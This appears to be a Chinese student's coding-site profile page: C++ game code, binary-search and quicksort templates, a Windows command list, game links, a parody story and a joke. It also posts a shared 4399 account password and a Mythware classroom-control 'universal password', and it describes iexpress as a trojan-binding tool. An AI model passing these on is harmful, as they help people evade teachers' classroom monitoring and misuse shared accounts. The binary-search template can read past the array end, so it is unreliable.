                if(g=='d') {Map(2); if(gunT!=8) gunT++;else gunT=1;}
                if(g=='w') OpenBox(0);
                if(g=='s'&&bu<=2) Bullet(),bu+=2;
                if(g==' ') Sleep(100),SetPos(-1,18),sy++,system("pause");
            }
            if(sy==1) SetPos(-1,18),cout<<"                           ",sy--;
            if(T%2==0) Ci();
            Move();Map(0);Sleep(50);
        }
        if(Win==0&&Blood<=0&&Lev<25)
        {
            system("color 7F"),Color(4);Lev=0;Blood=Dun=Bmax=Dmax=10;
            Bblood=Bsi=Bjiao=Bdu=Bfang=0;
            memset(G,0,sizeof(G)); memset(F,0,sizeof(F));
            SetPos(2,2);cout<<"You! Die!!!",Sleep(1000);
            SetPos(3,2);cout<<"Please point 'y' to Play AGain.";
        }
        if(Lev<25) { A:char e=_getch();if(e=='y') goto St;else goto A;}
        if(Lev==25)
        {
            system("color 6E"),Color(5);
            SetPos(2,2),cout<<"You! Pass All The Level!!!";Sleep(3000);
            system("color 0F");system("cls");goto SSt;
        }
        return 0;
    }
    

    Copy

    二分查找模板

    int erfen(int c[],int b,int g){
    	int tou=0,wei=b-1;
    	while(tou<=wei){
    		int mid=(tou+wei)/2;
    		if(c[mid]>=g){
    			wei=mid-1;
    		}else if(c[mid]<g){
    			tou=mid+1;
    		}
    	}
    	if(c[tou]==g){
    		return tou+1;
    	}
    	return -1;	
    }
    

    Copy

    快速排序模板

    #include <bits/stdc++.h>
    using namespace std;
    /*
    对n个数进行排序 
    */
    const int N=1e5+5;
    int a[N];//原数组 
    int n;
    void fast_sort(int left,int right){
    	//基本情况,递归边界 
    	if(left>=right){
    		 return;
    	}
    	//交换枢纽元,一般选中间值
    	int mid=(left+right)/2;
    	//交换枢纽元和最右边的值 
    	swap(a[mid],a[right]);
    	int i=left,j=right-1;
    	while(i<=j){//区间没有交错,还有元素处理
    		//i往右移动,直到找到比枢纽元大的数 
    		while(a[i]<a[right]){
    			i++;
    		}
    		//j往左移动,直到找到比枢纽元小的数 
    		while(a[j]>a[right]){
    			j--;
    		}
    		if(i<=j){
    			swap(a[i],a[j]);
    			i++;
    			j--;
    		}
    	}
    	//交换枢纽元和i交换 
    	swap(a[right],a[i]);
    	
    	//对左右区间进一步划分 
    	fast_sort(left,i-1);//左 
    	fast_sort(i+1,right);//右 
    }
    
    int main(){
    	//先输入一个n,再输入n个数 
    	cin>>n;
    	for(int i=1;i<=n;i++){
    		cin>>a[i];
    	}
    	fast_sort(1,n);
    	for(int i=1;i<=n;i++){
    		cout<<a[i]<<" ";
    	}
    	return 0;
    }
    

    Copy

    4399通用账号:2423764051 密码:111111

    chrome://dino 打开小恐龙 https://corezwb.lanzouq.com/iAFNA01ud3qj 密码gs83

    三、Windows CMD命令大全

    1. gpedit.msc-----组策略
    2. sndrec32-------录音机
    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。
    4. explorer-------打开资源管理器
    5. logoff---------注销命令
    6. shutdown-------60秒倒计时关机命令
    7. lusrmgr.msc----本机用户和组
    8. services.msc---本地服务设置
    9. oobe/msoobe /a----检查XP是否激活
    10. notepad--------打开记事本
    11. cleanmgr-------垃圾整理
    12. net start messenger----开始信使服务
    13. compmgmt.msc---计算机管理
    14. net stop messenger-----停止信使服务
    15. conf-----------启动netmeeting
    16. dvdplay--------DVD播放器
    17. charmap--------启动字符映射表
    18. diskmgmt.msc---磁盘管理实用程序
    19. calc-----------启动计算器
    20. dfrg.msc-------磁盘碎片整理程序
    21. chkdsk.exe-----Chkdsk磁盘检查
    22. devmgmt.msc--- 设备管理器
    23. regsvr32 /u *.dll----停止dll文件运行
    24. drwtsn32------ 系统医生
    25. rononce -p----15秒关机
    26. dxdiag---------检查DirectX信息
    27. regedt32-------注册表编辑器
    28. Msconfig.exe---系统配置实用程序
    29. rsop.msc-------组策略结果集
    30. mem.exe--------显示内存使用情况
    31. regedit.exe----注册表
    32. winchat--------XP自带局域网聊天
    33. progman--------程序管理器
    34. winmsd---------系统信息
    35. perfmon.msc----计算机性能监测程序
    36. winver---------检查Windows版本
    37. sfc /scannow-----扫描错误并复原
    38. taskmgr-----任务管理器(2000/xp/2003
    39. wmimgmt.msc----打开windows管理体系结构(WMI)
    40. wupdmgr--------windows更新程序
    41. wscript--------windows脚本宿主设置
    42. write----------写字板
    43. wiaacmgr-------扫描仪和照相机向导
    44. winchat--------XP自带局域网聊天
    45. mplayer2-------简易widnows media player
    46. mspaint--------画图板
    47. mstsc----------远程桌面连接
    48. magnify--------放大镜实用程序
    49. mmc------------打开控制台
    50. mobsync--------同步命令
    51. iexpress-------木马捆绑工具,系统自带
    52. fsmgmt.msc-----共享文件夹管理器
    53. utilman--------辅助工具管理器
    54. dcomcnfg-------打开系统组件服务
    55. ddeshare-------打开DDE共享设置
    56. osk------------打开屏幕键盘
    57. odbcad32-------ODBC数据源管理器
    58. oobe/msoobe /a----检查XP是否激活
    59. ntbackup-------系统备份和还原
    60. narrator-------屏幕“讲述人”
    61. ntmsmgr.msc----移动存储管理器
    62. ntmsoprq.msc---移动存储管理员操作请求
    63. netstat -an----(TC)命令检查接口
    64. syncapp--------创建一个公文包
    65. sysedit--------系统配置编辑器
    66. sigverif-------文件签名验证程序
    67. ciadv.msc------索引服务程序
    68. shrpubw--------创建共享文件夹
    69. secpol.msc-----本地安全策略
    70. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
    71. services.msc---本地服务设置
    72. Sndvol32-------音量控制程序
    73. sfc.exe--------系统文件检查器
    74. sfc /scannow---windows文件保护
    75. ciadv.msc------索引服务程序
    76. tourstart------xp简介(安装完成后出现的漫游xp程序)
    77. taskmgr--------任务管理器
    78. eventvwr-------事件查看器
    79. eudcedit-------造字程序
    80. compmgmt.msc---计算机管理
    81. packager-------对象包装程序
    82. perfmon.msc----计算机性能监测程序
    83. charmap--------启动字符映射表
    84. cliconfg-------SQL SERVER 客户端网络实用程序
    85. Clipbrd--------剪贴板查看器
    86. conf-----------启动netmeeting
    87. certmgr.msc----证书管理实用程序
    88. regsvr32 /u *.dll----停止dll文件运行
    89. regsvr32 /u zipfldr.dll------取消ZIP支持
    90. cmd.exe--------CMD命令提示符哪里有什么胭脂想象,不过是虚晃一梦罢了,梦醒了,什么都没有了

    《写代码的小女孩》

    天冷极了,下着雪,又快黑了。 这是NOIP的前夜。在这又冷又黑的晚上,一个衣衫破烂的小女孩在机房敲着代码。 她从班里逃出来的时候还拿着一本算导,但是有什么用呢? 那是一本很破旧的书——那么大,一向是她妈妈垫桌角的。 她默写SPFA的时候,年级主任突然冲进机房,吓得她把算导都丢掉了。 书叫一个学数竞捡起来拿着跑了。 他说,他可以用那本书当草纸,证明切比雪夫定理。 小女孩只好自己写二叉堆,一双小脚冻得红一块青一块的。 她面前的草纸堆得满满的,上面全是DP转移方程。 这一整天,没有一个OJ让她AC一道题,她已经交了32遍采药了。可怜的小女孩! 她又冷又饿,浑身战栗地写着二叉堆。CRT显示器发出的光落在她的枯黄的长头发上,那干枯的头发打成卷儿披在肩上,看上去就像二叉树,不过她没注意这些。 每个显示器里都透出光来,机房里飘着一股CPU发糊的怪味,因为这是NOIP前夜——她可忘不了这个。她在主函数前面停了下来,蜷着趴在键盘上。 她觉得更冷了。她不敢回家,因为她还没调完二叉堆,没写对一个DP方程,教练一定会骂她的。再说,换成别的数据结构,一样写不出来。 这些题都太水,虽然神犇都写过题解了,但是题解上一般都只有三个字:傻X题。她几乎绝望了。 啊,哪怕一个函数不会RE,对她也是有好处的!她每写一遍程序,跑出来的结果就不一样,要是她有数据,她就知道哪一个程序是算对了的。 她得不到数据了,因为机房上不去网了,全校的网速都让隔壁的年级主任拿来下小电影了。 如果能保证下一个程序能AC,她就敢再写几十KB的代码,但是她是不敢啊,她怕又算出来一个奇葩的结果来。她新建了一个cpp重写了程序。 编译通过了,样例过了。这次,她感觉自己站在IOI的考场中AK。学校的大门上,贴着“我校学生以国际金牌向110周年校庆献礼”的条幅。 在班级内的非诚勿扰中,全班男生都给她留了灯。这时候,程序又RE了,她面前只有cmd上的黑底白字。她又写了一道模拟。 这一回,她坐在美丽的二叉堆下。这棵二叉堆,比她在丽洁代码中看到的常数还要小,还要短。 眼前是许多优美动人的ASCII码,那些都是她写的程序,各种可爱的指针在跳跃着,满世界都是系统栈,都在向她眨眼睛。小女孩向眼前的系统栈伸出手去。 这时候,眼前的ASCII码还在,条幅还在,指针还在,年级主任还是和蔼地微笑着。只见那些代码那些指针越升越高越升越高,最后成了在天空中闪烁的星星。 有一颗星星落下来了,在天空中划出了一道细长的红光。“有一个什么人快要死了。” 小女孩说。 唯一疼她的学姐保送之前告诉过她:一颗星星落下来,就有一个灵魂要到上帝那儿去了。她notepad++中又写了一个快排。这一回,她把能用的IDE都用了。 学姐出现在亮光里,是那么温和,那么快乐。“学姐!” 小女孩叫起来,“啊!请把我带走吧!我知道,系统栈一溢出,您就会不见的,像那校门的条幅,浮点数的精度,循环队列的空间一个样,就会不见的!” 她赶紧编译了5KB的高精度模板,要把学姐留住。一大把程序发出强烈的光,把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔,这样美丽。 她把小女孩抱起来,搂在怀里。她们俩在光明和快乐中飞走了,越飞越高,飞到那没有DP,没有图论,也没有数据结构的地方去了。 第二天清晨,这个小女孩坐在机房里,两腮通红,嘴上带着微笑。她死了,在NOIP的前夜死了。NOIP Day1的太阳升起来了,照在她小小的尸体上。 小女孩坐在那儿,显示器上还有一堆编译过的代码。“她想好好复习复赛。” 人们说。 谁也不知道她曾经看到过多么美丽的东西,她曾经多么幸福,跟着她学姐一起走向新世界的幸福中去。

    一位洗碗的大姐,经常被别人叫阿姨,她嫌弃阿姨不好听,就给自己取了一个特别牛的名字:瓷洗太后。 隔壁补胎的师傅受到启发,给自己取了一个国际范的名字:拿破轮。 电焊工听到,受到启发,也给自己取了一个名字:焊武帝。 一日电焊工去糖果店炫耀自己的名字,老板啦叫他看他的名字:糖太宗。 电焊工看了沉默了。这时一辆粪车路过,发写这三个大字:擒屎皇。 路边捆菜的阿姨行不下去了,叫到你们的名字算什么? 看看我的名字,众人一看这名字取得不一般,大喊到捆菜阿姨的名字:菜需捆!!! 从此,镇上工作的人,再也没有互相比过名字。

    极域网通用密码:mythware_super_password chrome://dino 打开小恐龙 https://corezwb.lanzouq.com/iAFNA01ud3qj 密码gs83

    摸鱼人的小仓库 http://www.staggeringbeauty.com/ 大虫子 https://www.ak-ioi.com/apps/oi-2048/ 华容道 chrome://dino/ 小恐龙 https://littlealchemy2.com/ 小小炼金师 https://2048game.com/ 数字组 https://dimit.me/Fe26/index_zh_CN.html 死铁 http://www.4399.com/ 4399 https://www.mazegenerator.net/ 迷宫 https://lewan.baidu.com/rankland?idfrom=5056&gameSource=mini&gameType=0 百度游戏 [https://deepmess.com/namerena/]名字竞技场 ev.io 枪战游戏https://www.crazygames.com/game/air-wars-2 飞机 https://www.crazygames.com/game/kirka-io 枪战 https://www.crazygames.com/game/ev-io 枪战 CrazyGames - Free Online Games on CrazyGames.com https://student-vip.xiaomawang.com/ forr.io电子木鱼:https://zeus10241024.gitee.io/dzmy/ 冲浪:edge://surf 有型的东西终究会消逝,不过……终于,这份回忆还是永远不朽的… 坤坤跳跳乐 http://jlh.125ks.cn/cxk/dinogame/

    坤坤邀你打视频 http://jlh.125ks.cn/cxk/spth/

    坤坤邀你打电话 http://jlh.125ks.cn/cxk/ddh/

    爆踩菜虚鲲 http://jlh.125ks.cn/cxk/bccxk/

    坤坤打篮球 http://jlh.125ks.cn/cxk/dlq/

    坤坤打飞机 http://jlh.125ks.cn/cxk/ https://gimg2.baidu.com/image_search/src=http%3A%2F%2Fpic2.zhimg.com%2Fv2-2ee6c3530ee59861e683cae436fa27c5_b.jpg&refer=http%3A%2F%2Fpic2.zhimg.com&app=2002&size=f9999,10000&q=a80&n=0&g=0n&fmt=jpeg?sec=1644995765&t=53642b293da86d935fb320cd1fb4bb56

    电脑个性化:https://zhutix.com/ 上网址自己下。

    猫咪桌宠:http://www.ddooo.com/softdown/190036.htm 上网址自己下。 https://lemonjing.com/rich#首富模拟器 https://poki.cn/ 免费在线游戏

    《写代码的小女孩》

    天冷极了,下着雪,又快黑了。 这是NOIP的前夜。在这又冷又黑的晚上,一个衣衫破烂的小女孩在机房敲着代码。 她从班里逃出来的时候还拿着一本算导,但是有什么用呢? 那是一本很破旧的书——那么大,一向是她妈妈垫桌角的。 她默写SPFA的时候,年级主任突然冲进机房,吓得她把算导都丢掉了。 书叫一个学数竞捡起来拿着跑了。 他说,他可以用那本书当草纸,证明切比雪夫定理。 小女孩只好自己写二叉堆,一双小脚冻得红一块青一块的。 她面前的草纸堆得满满的,上面全是DP转移方程。 这一整天,没有一个OJ让她AC一道题,她已经交了32遍采药了。可怜的小女孩! 她又冷又饿,浑身战栗地写着二叉堆。CRT显示器发出的光落在她的枯黄的长头发上,那干枯的头发打成卷儿披在肩上,看上去就像二叉树,不过她没注意这些。 每个显示器里都透出光来,机房里飘着一股CPU发糊的怪味,因为这是NOIP前夜——她可忘不了这个。她在主函数前面停了下来,蜷着趴在键盘上。 她觉得更冷了。她不敢回家,因为她还没调完二叉堆,没写对一个DP方程,教练一定会骂她的。再说,换成别的数据结构,一样写不出来。 这些题都太水,虽然神犇都写过题解了,但是题解上一般都只有三个字:傻X题。她几乎绝望了。 啊,哪怕一个函数不会RE,对她也是有好处的!她每写一遍程序,跑出来的结果就不一样,要是她有数据,她就知道哪一个程序是算对了的。 她得不到数据了,因为机房上不去网了,全校的网速都让隔壁的年级主任拿来下小电影了。 如果能保证下一个程序能AC,她就敢再写几十KB的代码,但是她是不敢啊,她怕又算出来一个奇葩的结果来。她新建了一个cpp重写了程序。 编译通过了,样例过了。这次,她感觉自己站在IOI的考场中AK。学校的大门上,贴着“我校学生以国际金牌向110周年校庆献礼”的条幅。 在班级内的非诚勿扰中,全班男生都给她留了灯。这时候,程序又RE了,她面前只有cmd上的黑底白字。她又写了一道模拟。 这一回,她坐在美丽的二叉堆下。这棵二叉堆,比她在丽洁代码中看到的常数还要小,还要短。 眼前是许多优美动人的ASCII码,那些都是她写的程序,各种可爱的指针在跳跃着,满世界都是系统栈,都在向她眨眼睛。小女孩向眼前的系统栈伸出手去。 这时候,眼前的ASCII码还在,条幅还在,指针还在,年级主任还是和蔼地微笑着。只见那些代码那些指针越升越高越升越高,最后成了在天空中闪烁的星星。 有一颗星星落下来了,在天空中划出了一道细长的红光。“有一个什么人快要死了。” 小女孩说。 唯一疼她的学姐保送之前告诉过她:一颗星星落下来,就有一个灵魂要到上帝那儿去了。她notepad++中又写了一个快排。这一回,她把能用的IDE都用了。 学姐出现在亮光里,是那么温和,那么快乐。“学姐!” 小女孩叫起来,“啊!请把我带走吧!我知道,系统栈一溢出,您就会不见的,像那校门的条幅,浮点数的精度,循环队列的空间一个样,就会不见的!” 她赶紧编译了5KB的高精度模板,要把学姐留住。一大把程序发出强烈的光,把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔,这样美丽。 她把小女孩抱起来,搂在怀里。她们俩在光明和快乐中飞走了,越飞越高,飞到那没有DP,没有图论,也没有数据结构的地方去了。 第二天清晨,这个小女孩坐在机房里,两腮通红,嘴上带着微笑。她死了,在NOIP的前夜死了。NOIP Day1的太阳升起来了,照在她小小的尸体上。 小女孩坐在那儿,显示器上还有一堆编译过的代码。“她想好好复习复赛。” 人们说。 谁也不知道她曾经看到过多么美丽的东西,她曾经多么幸福,跟着她学姐一起走向新世界的幸福中去。

    下面有东西(一定要看)

    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    | 
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    
    |
    

    \ | /

    \ | /

    \ /
    
    
    

    都说了别看

    Copy 嘿嘿,我人怪好的(点击Copy回到最上边)

  • 通过的题目

  • 最近活动

题目标签

一本通编程启蒙
95
初窥门径
91
顺序结构
47
略有小成
44
分支结构
41
驾轻就熟
41
循环结构
28
循环嵌套
22
融会贯通
19
模拟
17
字符串
14
结构体
13
排序
13
其他
11
蓝桥杯
8
递推
8
一维数组
8
动态规划
7
递归
7
贪心
7